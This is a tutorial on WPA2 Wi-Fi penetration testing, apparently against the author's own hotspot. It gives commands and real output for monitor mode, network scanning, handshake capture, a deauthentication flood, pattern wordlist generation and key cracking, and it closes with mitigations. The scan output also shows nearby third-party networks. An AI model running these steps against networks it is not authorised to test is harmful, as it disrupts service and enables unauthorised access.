



## ⌚ Table of Contents

1. [Key Terminology](#)
2. [Wi-Fi Protocols Overview](#)
3. [Common WPA2 Attacks](#)
4. [Understanding the WPA2 4-Way Handshake](#)
5. [Requirements for Wi-Fi Hacking](#)
6. [Step-by-Step WPA2 Attack Procedure](#)
  - o [Confirm Adapter Connection](#)
  - o [Enable Monitor Mode](#)
  - o [Discover Nearby Wi-Fi Networks](#)
  - o [Capture WPA2 Handshake](#)
  - o [Launch Deauthentication Attack](#)
7. [Cracking the WPA2 Password](#)
8. [Additional Notes](#)
9. [Mitigations for WPA2 Attacks](#)
10. [Summary Table](#)

## Wi-Fi Penetration Testing

**Wi-Fi Penetration Testing** is the process of simulating real-world attacks on wireless networks to identify security weaknesses, misconfigurations, or vulnerabilities in Wi-Fi infrastructure.

It involves techniques like:

- Capturing handshake packets
- Performing deauthentication attacks
- Cracking WPA/WPA2 passwords
- Identifying rogue access points
- Bypassing authentication mechanisms

The goal is to assess how secure a wireless network is from unauthorized access or data interception, and to help organizations strengthen their wireless security posture.

## Wi-Fi Security and WPA2 Penetration Testing Guide

### Key Terminology

- **SSID (Service Set Identifier)**: The network name you see when connecting to Wi-Fi.
- **ESSID (Extended SSID)**: An SSID that applies across multiple access points to form one larger network (e.g., company-wide Wi-Fi).
- **BSSID**: MAC address of an individual access point.
- **WPA2-PSK**: Wi-Fi security using a Pre-Shared Key (same password for all users).
- **WPA2-EAP**: Wi-Fi with enterprise authentication (username & password) via a RADIUS server.
- **RADIUS**: A server that handles user authentication, often used in enterprise networks.

---

## □ Wi-Fi Protocols Overview

- **WEP:** Outdated and insecure Wi-Fi protocol.
  - **WPA2:** Commonly used protocol today, relies on the 4-way handshake for encryption.
  - **WPA3:** Latest protocol, more secure, but has compatibility issues (uses Dragonfly handshake).
- 

## □ Common WPA2 Attacks

### 1. Offline Dictionary Attack

- Capture the 4-way handshake and test password guesses offline using tools like `aircrack-ng`.

### 2. KRACK (Key Reinstallation Attack)

- Exploits flaws in WPA2 handshake to decrypt traffic or inject data.

### 3. Deauthentication Attack

- Forces devices to disconnect and reconnect to capture the 4-way handshake.

### 4. Man-in-the-Middle (MitM)

- Attacker sets up a fake access point (evil twin) to intercept user data.

## ?] Understanding the WPA2 4-Way Handshake

- The 4-way handshake occurs between a client (supplicant) and access point (authenticator).
- It generates encryption keys used to secure wireless communication.
- **Main Target in Penetration Testing:** Capturing this handshake allows offline cracking.

## Requirements for Wi-Fi Hacking

- A Wi-Fi adapter that supports monitor mode (e.g., Alfa AWUS036NHA).
- Kali Linux or other Linux-based OS.
- Tools: aircrack-ng, airodump-ng, aireplay-ng.

NOTE: If using VirtualBox or VMware, ensure the USB Wi-Fi adapter is passed to the VM in **Settings → Enable all USB**.

Virtual Machine Settings

Hardware Options

Device	Summary
Memory	2 GB
Processors	2
Hard Disk (SCSI)	27 GB
CD/DVD (IDE)	Using file C:\Users\dell\Downloads\Kali\Kali-2021.1\kali-2021.1-amd64\cdrom.iso
Network Adapter	NAT
USB Controller	Present
Sound Card	Auto detect
Display	Auto detect

Connections

USB compatibility: USB 2.0

Show all USB input devices

Share Bluetooth devices with the virtual machine

The screenshot shows the 'Virtual Machine Settings' window for a Kali Linux VM. The 'Hardware' tab is selected. In the 'Device' table, the 'USB Controller' row is highlighted with a blue selection bar. On the right, under 'Connections', the 'USB compatibility' dropdown is set to 'USB 2.0'. Two checkboxes are checked: 'Show all USB input devices' and 'Share Bluetooth devices with the virtual machine'. Below this, a 'New USB Device Detected' dialog box is open. It displays the message 'Choose where you would like to connect SanDisk Cruzer Blade'. It offers two options: 'Connect to the host' (radio button) and 'Connect to a virtual machine' (radio button, which is selected). A dropdown menu 'Virtual Machine Name' is set to 'kaliboy'. At the bottom, there is a checkbox 'Remember my choice and do not ask again' and two buttons: 'OK' and 'Cancel'. The background shows the terminal window of the VM with some network traffic logs.

## □ Step-by-Step WPA2 Attack Procedure

### 1. Confirm Adapter Connection

Ifconfig

```
→ Wi-Fi ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
        inet6 fe80::2ba5:c59e:71dc:bbd6 prefixlen 64 scopeid 0x20<link>
            ether 08:00:27:b8:d5:cf txqueuelen 1000 (Ethernet)
            RX packets 851686 bytes 1266546613 (1.2 GB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 150001 bytes 9361629 (9.3 MB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x10<host>
            loop txqueuelen 1000 (Local Loopback)
            RX packets 941 bytes 121972 (121.9 KB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 941 bytes 121972 (121.9 KB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether 1c:bf:ce:1a:bb:24 txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Look for your wireless interface (e.g., wlan0).

Normally a Wi-Fi adapter is set into “managed” mode which means it just acts as a client and connects to a single Wi-Fi router for access to the Internet. However, some Wi-Fi adapters can be set into other modes such as monitor mode. In monitor mode the Wi-Fi interface can capture packets without even being connected to any access point (router), it is a free agent, sniffing and snooping at all the data in the air!.

### 2. Enable Monitor Mode

Next is to change the default(manage) mode into monitor mode we can use airmon-ng

sudo airmon-ng start wlan0

- Creates wlan0mon (monitor mode interface).

```

→ Wi-Fi airmon-ng start wlan0

Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

      PID Name
    725 NetworkManager
    755 wpa_supplicant
  54804 avahi-daemon
  54805 avahi-daemon

PHY      Interface      Driver      Chipset
phy2      wlan0          rt2800usb      Ralink Technology, Corp. RT5370
          (mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon)
          (mac80211 station mode vif disabled for [phy2]wlan0)

```

This will create a new virtual interface called wlan0mon

To check this conversion (manage to mon itor mode)use ifconfig comand .

```

→ Wi-Fi ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
      inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
      inet6 fe80::2ba5:c59e:71dc:bbd6 prefixlen 64 scopeid 0x20<link>
        ether 08:00:27:b8:d5:cf txqueuelen 1000 (Ethernet)
        RX packets 851694 bytes 1266547692 (1.2 GB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 150010 bytes 9362373 (9.3 MB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
      inet 127.0.0.1 netmask 255.0.0.0
      inet6 ::1 prefixlen 128 scopeid 0x10<host>
        loop txqueuelen 1000 (Local Loopback)
        RX packets 945 bytes 122468 (122.4 KB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 945 bytes 122468 (122.4 KB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
      unspec 1C-BF-CE-1A-BB-24-00-2F-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
        RX packets 0 bytes 0 (0.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 0 bytes 0 (0.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

Kill any processes that might interfere with the network adapter.  
Use this command

sudo airmon-ng check kill

### 3. Discover Nearby Wi-Fi Networks

airodump-ng wlan0mon

- Find your **target BSSID**, **channel (CH)**, and **ESSID**.
- Take note of them for later steps.

Wi-Fi uses radio and like any radio it needs to be set to a certain frequency. Wi-Fi uses 2.4GHz and 5GHz (depending on which variation you are using). The 2.4GHz range is split into a number of channels which are 5MHz apart. To get two channels which don't overlap at all they need to be spaced around 22MHz apart (but that also depends on which variation of the Wi-Fi standard is being used). That is why channels 1, 6 and 11 are the most common channels as they are far enough apart so that they don't overlap.

To capture data via a Wi-Fi adapter in “monitor” mode you need to tell the adapter which frequency to tune into, i.e. which channel to use. To see which channels are in use around you and which channel is being used by the Wi-Fi service you wish to test then use the airodump-ng command:

airodump-ng will display a list of detected access points and also a list of connected clients (“stations”).

Use this to find the bssid & the channel of the target network

CH 12 ][ Elapsed: 3 mins ][ 2023-07-07 03:07										
BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID	
B4:A7:C6:D2:0D:A9	-81	13	0 0	9 130	WPA2 CCMP	PSK	daddu			
F2:ED:B8:D9:10:E5	-78	5	0 0	10 130	WPA2 CCMP	PSK	<length: 0>			
F0:ED:B8:E9:10:E5	-78	10	0 0	10 130	WPA2 CCMP	PSK	JioFiber-ePDGx			
B4:A7:C6:D0:93:EF	-79	14	0 0	8 130	WPA2 CCMP	PSK	JioFiber-NDgdBsk			
CC:2D:21:9F:37:F8	-72	68	0 0	11 130	WPA2 CCMP	PSK	Tenda_9F37F8			
56:37:BB:C7:F7:39	-68	52	0 0	11 130	WPA2 CCMP	PSK	<length: 0>			
54:37:BB:C7:F7:39	-67	47	5 0	11 130	WPA2 CCMP	PSK	tobby			
B6:A7:C6:D3:25:E8	-63	55	0 0	11 130	WPA2 CCMP	PSK	<length: 0>			
B4:A7:C6:D3:25:E8	-62	57	8 0	11 130	WPA2 CCMP	PSK	gaura			
8C:A3:99:07:89:D9	-40	62	14 0	6 130	WPA2 CCMP	PSK	Airtel_wifi			
F0:ED:B8:71:C3:52	-50	54	16 0	2 130	WPA2 CCMP	PSK	JioFiber-KT5yh			
F8:C4:F3:8E:2D:05	-69	54	0 0	1 270	WPA2 CCMP	PSK	Beauty with beast			
BSSID	STATION		PWR	Rate	Lost	Frames	Notes	Probes		
54:37:BB:C7:F7:39	B2:00:5B:60:EC:A7		-1	1e- 0	0	1				
54:37:BB:C7:F7:39	CC:2D:21:9F:37:F8		-1	1e- 0	0	1				
54:37:BB:C7:F7:39	60:7E:A4:36:A6:E9		-70	5e- 1e	0	3				
8C:A3:99:07:89:D9	26:AF:9E:D0:54:9A		-22	24e- 1	0	50				
8C:A3:99:07:89:D9	DA:FE:75:DF:93:73		-22	1e- 1	131	73				
F0:ED:B8:71:C3:52	08:25:25:07:67:6D		-68	24e- 6e	0	21				

The first list shows the Wi-Fi networks within reach of your device. The CH tells you which channel number each network is using and the ESSID shows the names of the networks (i.e. the service set identifiers). The ENC column reveals if the network is using encryption and if so, what type of encryption(WPA2 in our case).

From the results, you can see a wifi hotspot that I have prepared called “Airtel-wifi”.

#### 4. □ Capture WPA2 Handshake

So, the next step is to capture the packets using airodump-ng

```
sudo airodump-ng --bssid [target-bssid] -c [channel-id] --write [filename]  
[network-adapter]
```

```
CH 6 ][ Elapsed: 1 min ][ 2023-07-07 03:13  
  
BSSID          PWR RXQ Beacons    #Data, #/s   CH   MB   ENC CIPHER AUTH ESSID  
8C:A3:99:07:89:D9 -40  86      742       167    0     6   130   WPA2 CCMP   PSK Airtel_wifi  
  
BSSID          STATION          PWR   Rate    Lost   Frames  Notes  Probes  
8C:A3:99:07:89:D9 26:AF:9E:D0:54:9A -26   24e- 1      0      417  
8C:A3:99:07:89:D9 DA:FE:75:DF:93:73 -22   1e- 1      0      242  
I
```

There are two devices connected to the wifi hotspot that I have prepared. So, while that is running, you’re going to run your de-authentication attack against the device connected to make the device re-establish a connection so you can capture the 4-way handshake.

## 5. □ Launch Deauthentication Attack

Open new window of cmd to perform the deauth attack

```
sudo aireplay-ng --deauth 10 -a <target BSSID> wlan0mon
```

- Sends 10 deauth packets to force reconnection.
- Monitor the other terminal — once a handshake is captured, you'll see:

```
→ Wi-Fi aireplay-ng --deauth 0 -a 8C:A3:99:07:89:D9 wlan0mon
03:16:29 Waiting for beacon frame (BSSID: 8C:A3:99:07:89:D9) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
03:16:29 Sending DeAuth (code 7) to broadcast -- BSSID: [8C:A3:99:07:89:D9]
03:16:30 Sending DeAuth (code 7) to broadcast -- BSSID: [8C:A3:99:07:89:D9]
03:16:31 Sending DeAuth (code 7) to broadcast -- BSSID: [8C:A3:99:07:89:D9]
03:16:31 Sending DeAuth (code 7) to broadcast -- BSSID: [8C:A3:99:07:89:D9]
03:16:32 Sending DeAuth (code 7) to broadcast -- BSSID: [8C:A3:99:07:89:D9]
03:16:32 Sending DeAuth (code 7) to broadcast -- BSSID: [8C:A3:99:07:89:D9]
03:16:33 Sending DeAuth (code 7) to broadcast -- BSSID: [8C:A3:99:07:89:D9]
03:16:33 Sending DeAuth (code 7) to broadcast -- BSSID: [8C:A3:99:07:89:D9]
```

While the DOS attack is underway, check on your airodump scan. You should see at the right top : WPA handshake: <mac address>. Once you have verified that, you can stop the replay attack and the airodump-ng scan.

```
CH 6 ][ Elapsed: 4 mins ][ 2023-07-07 03:16 ][ WPA handshake: 8C:A3:99:07:89:D9
          PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
8C:A3:99:07:89:D9 -69 100    2334     1115   0   6 130 WPA2 CCMP PSK Airtel_wifi
          STATION          PWR      Rate     Lost    Frames Notes Probes
                                         I
8C:A3:99:07:89:D9 26:AF:9E:D0:54:9A -24    1e- 1      0      2645       Airtel_wifi
8C:A3:99:07:89:D9 DA:FE:75:DF:93:73 -22    1e- 1e    200      716  EAPOL
```

As the deauth attack was successful a capture-01.cap file is created which contains packets through which hash for password would be cracked.

```
CH 6 ][ Elapsed: 5 mins ][ 2023-07-07 03:17 ][ WPA handshake: 8C:A3:99:07:89:D9
BSSID          PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
8C:A3:99:07:89:D9 -69 100    2765     1115   0   6 130 WPA2 CCMP PSK Airtel_wifi
BSSID          STATION      PWR Rate Lost Frames Notes Probes
8C:A3:99:07:89:D9 26:AF:9E:D0:54:9A -24 1e- 1     0    2645           Airtel_wifi
8C:A3:99:07:89:D9 DA:FE:75:DF:93:73 -22 1e- 1e    0     716  EAPOL
Quitting...
→ Wi-Fi ls
capture-01.cap      capture-01.kismet.netxml  capture-02.csv            capture-02.log.csv
capture-01.csv      capture-01.log.csv        capture-02.kismet.csv
capture-01.kismet.csv capture-02.cap        capture-02.kismet.netxml
→ Wi-Fi █
```

## 6. □ Cracking the WPA2 Password

As the hash is in the capture-01.cap file it can be cracked using john the reaper or any other tool, but here I will use aircrack-ng tool.

For now I already know the default password format of Airtel\_wifi its something like (air\*\*\*\*\*).eg:air09876

The \* contains numbers so we have create a wordlist to find the password.

To make a wordlist I will use crunch tool which is much easier to create a wordlist.

Crunch <min\_value> <max\_value> -t <provides feature of pattern to create pssword> <filename>

```
→ Wi-Fi crunch 8 8 -t air%00000 -o passwords.txt
Crunch will now generate the following amount of data: 900000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100000
crunch: 100% completed generating output
```

So the password.txt file is created . Let's move on to next step to crack the password.

```
aircrack-ng -w <wordlist.txt> -b <target BSSID> capture-01.cap
```

Unfortunately , the hash was not found in capture-01.cap,Let's try in capture-02.cap file

```
→ Wi-Fi aircrack-ng -b 8C:A3:99:07:89:D9 -w passwords.txt capture-01.cap
Reading packets, please wait...
Opening capture-01.cap
Read 24277 packets.

1 potential targets

Packets contained no EAPOL data; unable to process this AP.

Quitting aircrack-ng...
→ Wi-Fi aircrack-ng -b 8C:A3:99:07:89:D9 -w passwords.txt capture-02.cap
```

Maybe all the data packets was not stored on one file due limit of memory in a file ,So it created another (capture-02.cap)

And “Voila”, We got the password .

```
Aircrack-ng 1.7 rev 608d3210
[00:00:07] 99280/100000 keys tested (14846.13 k/s)
Time left: 0 seconds                                99.28%
KEY FOUND! [ air12345 ]

Master Key      : C9 C9 13 C0 15 55 23 47 B9 4F F7 6B 86 EB 4E F1
                  82 D9 5E BB 18 57 91 7E F5 7F 87 B0 8B 9A 58 F8

Transient Key   : 72 84 C8 D4 93 5B 12 51 4F 96 8B F2 D3 FF 36 A8
                  F9 DF 4C 7F 1E 25 D2 6D BE BC 71 BC 7B 8C 86 11
                  63 22 EF B0 8E EC 00 BF F8 0E CA F2 74 3E 2A 95
                  7B A2 DE E3 23 A0 A8 26 A5 43 A6 16 5F 0D AE 0E

EAPOL HMAC     : 27 B9 2C 18 59 95 51 BD 63 95 1A 61 35 A0 09 2C

Wi-Fi
```

## □ Tools used

- **airmon-ng**: Enables monitor mode on the wireless adapter.
- **airodump-ng**: Scans and captures packets from nearby Wi-Fi networks.
- **aireplay-ng**: Sends deauthentication packets to force clients to reconnect.
- **aircrack-ng**: Cracks the captured WPA2 handshake using a wordlist.
- **crunch**: Used to create wordlist.

## □ Additional Notes

- **Monitor Mode**: Captures all nearby packets — useful for passive sniffing.
- **Managed Mode**: Default — connects to networks like a normal client.
- **Wordlists**: Use curated lists like rockyou.txt or custom password lists.

## ?

## Mitigations for WPA2 Attacks

- Use **strong passwords** to resist dictionary attacks.
- Upgrade to **WPA3** where possible.
- Enable **802.11w** (management frame protection).
- Monitor your network for rogue access points and suspicious deauth activity.

## □ Summary

Term	Meaning
<b>SSID</b>	Network name
<b>BSSID</b>	Access Point MAC address
<b>WPA2-PSK</b>	Pre-shared password security
<b>Monitor Mode</b>	Capture packets without connecting
<b>Deauth Attack</b>	Force clients to disconnect & reconnect
<b>Handshake</b>	Target for password cracking

